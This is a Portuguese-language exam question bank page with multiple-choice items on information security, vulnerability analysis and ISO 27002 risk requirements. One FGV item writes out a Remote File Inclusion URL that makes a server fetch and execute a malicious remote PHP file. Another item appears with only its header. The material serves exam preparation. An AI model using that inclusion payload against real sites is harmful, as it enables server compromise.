Questões sobre Análise de Vulnerabilidade e Gestão de Riscos

#Questão 1098438 - Segurança da Informação, Análise de Vulnerabilidade e Gestão de Riscos, CESGRANRIO, 2025, BANESE, Técnico Bancário III - Suporte

A segurança é uma condição do sistema resultante do estabelecimento e da manutenção das medidas de proteção do sistema. As vulnerabilidades de um sistema podem ser exploradas para violar a sua segurança. Uma medida de proteção básica é configurar um sistema para operar de uma forma que elimine ou mitigue vulnerabilidades conhecidas.
Essa medida de proteção é conhecida como

A)

blocking

B)

evading

C)

hardening

D)

jamming

E)

sealing

#Questão 1123360 - Segurança da Informação, Análise de Vulnerabilidade e Gestão de Riscos, Avança SP, 2025, UNITAU, Programador Pleno

#Questão 1097340 - Segurança da Informação, Análise de Vulnerabilidade e Gestão de Riscos, FCC, 2025, TRT - 15ª Região (SP), Técnico Judiciário - Área Apoio Especializado Especialidade: Tecnologia da Informação

Ao ser questionado sobre a segurança em plataformas low-code, uma Técnica de um Tribunal Regional do Trabalho respondeu, corretamente que

A)

a segurança em low-code depende exclusivamente das práticas de desenvolvimento do usuário.

B)

a integração com sistemas existentes pode introduzir vulnerabilidades especificas.

C)

plataformas low-code possuem segurança nativa que elimina todos os riscos de segurança.

D)

todas as plataformas low-code garantem a mesma qualidade de segurança.

E)

low-code não pode ser utilizado para desenvolver aplicações que exigem alta segurança.

#Questão 1131322 - Segurança da Informação, Análise de Vulnerabilidade e Gestão de Riscos, FGV, 2025, TCE/RR, Analista Administrativo - Tecnologia da Informação, com especialidade em Desenvolvimento de Sistemas

A página web da sociedade empresária Exemplo1234, disponível na internet, permite que internautas acessem o edital de uma vaga de trabalho por meio do endereço eletrônico http://empresa1234.com/vaga.php?file=vaga.pdf.
Durante a verificação de vulnerabilidades contratada por essa empresa, foi observado que o servidor da página web da Empresa1234 processava o valor fornecido no parâmetro file sem realizar validação ou sanitização adequada.
Como resultado, foi possível incluir e executar no servidor o conteúdo de um arquivo malicioso hospedado no endereço http://testevulnerabilidade.com/badpage.php
O teste foi realizado utilizando o seguinte endereço:
http://empresa1234.com/vaga.php?file=http://testevulnerabilida de.com/badpage.php
Ao acessar essa URL, o conteúdo do arquivo badpage.php foi carregado e executado diretamente pelo servidor da Empresa1234, comprometendo sua segurança.
O tipo de vulnerabilidade presente no servidor de página da Empresa1234 é o

A)

LFI – Local File Inclusion.

B)

XSS – Cross-Site Scripting.

C)

SQL Injection.

D)

RFI – Remote File Inclusion.

E)

FPD – Full Path Disclosure.

#Questão 1133881 - Segurança da Informação, Análise de Vulnerabilidade e Gestão de Riscos, FGV, 2025, MPU, Analista do Suporte e Infraestrutura

Karen é funcionária pública do Ministério Público da União (MPU) e foi designada para determinar e implementar controles de acordo com a Norma ABNT NBR ISO/IEC 27002:2022 para tratamento de riscos de segurança da informação em um sistema de gestão de segurança da informação (SGSI) do MPU, baseado na ABNT NBR ISO/IEC 27001. Entretanto, para iniciar esse processo, Karen precisará determinar, junto com a organização, os requisitos de segurança necessários para atender a demanda do MPU.
Para identificar esses requisitos, as principais fontes de requisitos, segundo a Norma ABNT NBR ISO/IEC 27002:2022, observadas por Karen, são:

A)

avaliação de riscos da organização, considerando estratégia e os objetivos globais de negócios e requisitos legais que devem ser cumpridos;

B)

plano estratégico de Tecnologia da Informação, além de seus requisitos contratuais com as partes interessadas e seu ambiente sociocultural;

C)

plano de continuidade de negócios e conjunto de princípios, objetivos e requisitos de negócios para as etapas do ciclo de vida da informação do MPU;

D)

sistema de gestão e continuidade de negócios e avaliação de riscos da organização;

E)

plano de continuidade de negócios e requisitos regulamentares a serem cumpridos pela organização, assim como suas partes interessadas.

Questões sobre Análise de Vulnerabilidade e Gestão de Riscos

Pesquise questões de concurso nos filtros abaixo